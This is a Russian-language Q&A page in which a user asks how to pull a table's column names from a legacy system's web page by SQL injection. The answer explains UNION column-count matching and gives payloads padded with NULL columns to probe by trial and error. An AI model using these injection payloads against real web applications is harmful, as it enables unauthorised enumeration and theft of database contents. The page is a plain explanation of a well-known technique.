Невозможно получить имена столбцов базы данных - PullRequest
0 голосов
/ 02 марта 2019

Я пытаюсь получить имена столбцов из устаревшей системы, используя следующую модифицированную инструкцию SQL:

 SELECT * 
 FROM drinks 
 WHERE drinkname='smirnoff' 
 UNION 
 SELECT COLUMN_NAME 
 FROM INFORMATION_SCHEMA.COLUMNS 
 WHERE TABLE_NAME = 'drinks'

Но веб-страница выдает ошибку, вместо этого сообщая, что не выполняет мой измененный запрос.

Как можно получить имена полей таблицы drinks с помощью SQL-инъекции?

1 Ответ

0 голосов
/ 02 марта 2019

В любом запросе UNION количество столбцов должно быть одинаковым в каждом SELECT, который вы объединяете с UNION.Другими словами, следующее является ошибкой, поскольку число столбцов не одинаково:

SELECT a, b, c FROM table1
UNION 
SELECT a, b FROM table1

При выполнении SQL-инъекции вы можете не знать количество столбцов в списке выбора запроса.ты эксплуатируешь.Добавьте больше столбцов с NULL по мере необходимости.Просто продолжайте пробовать, пока не получите что-то успешное.

SELECT * FROM drinks WHERE drinkname='smirnoff' 
UNION 
SELECT COLUMN_NAME, NULL, NULL, NULL, ...
FROM INFORMATION_SCHEMA.COLUMNS 
WHERE TABLE_NAME = 'drinks'

Это может показаться утомительным и подверженным ошибкам.

Но преступники, которые совершают атаки с использованием SQL-инъекций, довольно мотивированы.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...